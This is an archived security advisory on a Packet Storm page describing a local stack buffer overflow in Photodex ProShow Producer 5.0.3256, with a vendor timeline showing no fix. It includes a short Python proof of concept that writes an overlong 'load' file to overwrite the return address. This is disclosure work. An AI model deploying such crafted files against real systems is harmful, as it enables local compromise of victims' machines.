exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Photodex ProShow Producer 5.0.3256 Buffer Overflow

Photodex ProShow Producer 5.0.3256 Buffer Overflow
Posted Jul 2, 2012
Authored by Julien Ahrens

Photodex ProShow Producer version 5.0.3256 suffers from a local buffer overflow vulnerability.

tags | exploit, overflow, local
SHA-256 | 0b8b05ed7b3f945e79239735409a386a1787e080be042c09324706c888d700e7

Photodex ProShow Producer 5.0.3256 Buffer Overflow

Change Mirror Download
Inshell Security Advisory
http://www.inshell.net/


1. ADVISORY INFORMATION
-----------------------
Product: Photodex ProShow Producer
Vendor URL: www.photodex.com
Type: Stack-based Buffer Overflow [CWE-121]
Date found: 2012-06-06
Date published: 2012-07-02
CVSSv2 Score: 6,9 (AV:L/AC:M/Au:N/C:C/I:C/A:C)
CVE: -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3256, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
A Local Buffer Overflow Vulnerability has been found on the Photodex
ProShow Producer v5.0.3256.

When starting, the application loads the contents of the "load" file
from its application directory. The application does not validate the
length of the string loaded from the "load" file before passing it to a
buffer, which leads to a Buffer Overflow.

An attacker needs to force the victim to place an arbitrary "load" file
into the application directory.


5. PROOF-OF-CONCEPT (CODE / Exploit)
------------------------------------
#!/usr/bin/python
file="load"

junk1="\x41" * 9848
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc=junk1 + boom + junk2

try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/30


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2012-06-06: Initial notification sent to vendor
2012-06-12: No response, second notification sent to vendor
2012-06-20: No response, third notification sent to vendor
2012-06-20: Vendor response, sent to appropriate departments
2012-07-02: No further contact by vendor
2012-07-02: Full Disclosure


8. REFERENCES
-------------
http://security.inshell.net/advisory/30
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    31 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close